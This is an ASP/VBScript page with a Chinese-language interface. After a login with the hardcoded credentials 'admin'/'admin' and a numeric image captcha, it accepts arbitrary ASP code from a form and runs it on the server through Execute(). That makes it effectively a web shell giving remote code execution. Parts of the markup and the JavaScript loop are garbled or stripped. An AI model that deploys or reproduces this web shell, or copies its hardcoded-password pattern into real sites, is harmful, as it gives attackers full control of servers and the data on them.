<% @ LANGUAGE="VBSCRIPT" %>
<%Option Explicit
response.buffer=true
dim Spassword,SUserName
SUserName="admin"
Spassword="admin"
dim SQLMutiStr
dim i
dim action
action=request.querystring("action")
IF action="GetCode" then '---------TOT
NumCodeJS
ELSE '--------TOT
Response.Write("")
Response.Write("")
Response.Write("
")Response.Write("
Response.Write("")
Response.Write("")
Response.Write("")
Response.Write("")
Response.Write("")
Response.Write("
")SQLMutiStr=trim(Request.Form("SQLMutiStr"))
if session("login")="" and action="chkpass" then
session("login")=checkPass()
end if
if action="exit" then session("login")=""
if session("login")="1" then
if action="RunCode" then
if SQLMutiStr="" then
Response.write "没有输入要运行的代码!"
Response.write "
返回运行页面
"
Response.write "退出登陆"
response.end
else
dim ExeStrArr
dim re
dim tempSQL,tempSQL2
dim ScriptArr,ScriptSubArr
tempSQL2=""
tempSQL=split(SQLMutiStr,vbcrlf)
if inStr(lcase(tempSQL(0)),"language")>0 then
tempSQL2=tempSQL(1)
if ubound(tempSQL)>1 then
for i=1 to ubound(tempSQL)
tempSQL2=tempSQL2&tempSQL(i)
next
end if
tempSQL2=trim(tempSQL2)
else
tempSQL2=SQLMutiStr
end if
tempSQL2=replace(tempSQL2,"<%"&"=","<"&"%response.write ")
do
tempSQL2=replace(tempSQL2,vbcrlf&vbcrlf,vbcrlf)
loop while instr(tempSQL2,vbcrlf&vbcrlf)>0
tempSQL2=trim(tempSQL2)
tempSQL2="<"&"%%"&">"&tempSQL2&"<"&"%%"&">"
ScriptArr=split(tempSQL2,"%"&">")
dim ub,kub
ub=ubound(ScriptArr)
for i=0 to ub-1
ScriptSubArr=split(ScriptArr(i),"<"&"%")
if i>0 then response.write (ScriptSubArr(0))
ExeCuteIt(ScriptSubArr(1))
next
call EndProc("代码运行完毕!")
end if
else
%>
输入要运行的ASP代码:
<% end if
else
call loginmain()
end if
Response.write ("")
END IF '-------TOT
SUB loginMain()
%>
<%
End SUB
function checkPass()
dim UserName,Runpassword,GetCode
dim errinfo
checkPass=""
UserName=trim(request.form("UserName"))
Runpassword=trim(request.form("Runpassword"))
GetCode=request.form("GetCode")
if UserName="" or Runpassword="" then
errinfo=errinfo&"
end if
if Not isnumeric(GetCode) then
errinfo=errinfo&"
end if
if errinfo<>"" then
call loginmain()
EndProc errinfo
end if
if action="chkpass" and Session("GetCode")=int(GetCode) and UserName=SUserName and Runpassword=Spassword then
Session("GetCode")=0
checkPass="1"
else
call loginmain()
EndProc "登陆失败!请重新确认正确输入"
end if
End function
SUB ExeCuteIt(ExString)
on error resume next
Execute(ExString)
if err.number<>0 then
Response.write "
Response.write "
"
Response.write "出错信息:
Response.write "
"
Response.write "出错代码:
Response.write "
end if
on error goto 0
end SUB
function HTMLEncode(reString)
dim Str:Str=reString
if not isnull(Str) then
Str = replace(Str, ">", ">")
Str = replace(Str, "<", "<")
Str = Replace(Str, CHR(32), " ")
Str = Replace(Str, CHR(9), " ")
Str = Replace(Str, CHR(34), """) ' "
Str = Replace(Str, CHR(39), "'") ' '
Str = Replace(Str, CHR(13), "")
Str = Replace(Str, CHR(10) & CHR(10), "
")
Str = Replace(Str, CHR(10), "
")
HTMLEncode = Str
else
HTMLEncode=""
end if
end function
'断点调试 num=0 中断
Sub Response_write(str,num)
dim istr:istr=str
dim inum:inum=num
response.write str&"
"
if inum=0 then response.end
end sub
SUB EndProc(info)
Response.write "
"
Response.write info
Response.write "
返回运行页面
"
Response.write "退出登陆"
response.end
End SUB
%>
function GetNO(num){
var NumArray=[
]["0","0","0","3c","66","66","66","66","66","66","66","66","3c","0","0","0"],
["0","0","0","30","38","30","30","30","30","30","30","30","30","0","0","0"],
["0","0","0","3c","66","60","60","30","18","c","6","6","7e","0","0","0"],
["0","0","0","3c","66","60","60","38","60","60","60","66","3c","0","0","0"],
["0","0","0","30","30","38","38","34","34","32","7e","30","78","0","0","0"],
["0","0","0","7e","6","6","6","3e","60","60","60","66","3c","0","0","0"],
["0","0","0","38","c","6","6","3e","66","66","66","66","3c","0","0","0"],
["0","0","0","7e","66","60","60","30","30","18","18","c","c","0","0","0"],
["0","0","0","3c","66","66","66","3c","66","66","66","66","3c","0","0","0"],
["0","0","0","3c","66","66","66","66","7c","60","60","30","1c","0","0","0"]
];
var str=[];
num=String(num).split("");
for(var i=0;i for(var j=0;j str[str.length]=("0x"+NumArray[num[j]][i]); var str1="#define counter_width "+j*8; var str2="#define counter_height 16"; return str1+String.fromCharCode(13,10)+str2+String.fromCharCode(13,10)+"static unsigned char counter_bits[]={"+str+"}"; } function GetRnd(Num){ return Math.floor(Math.random()*Math.pow(10,Num)); } function NumCodeJS() { Response.buffer=true var zNum; var zNum=GetRnd(4); if (zNum<1000) zNum+=999; Session("GetCode") = zNum; Response.ContentType="image/x-xbitmap"; Session("GetCode") = zNum; Response.Write(GetNO(zNum)); }

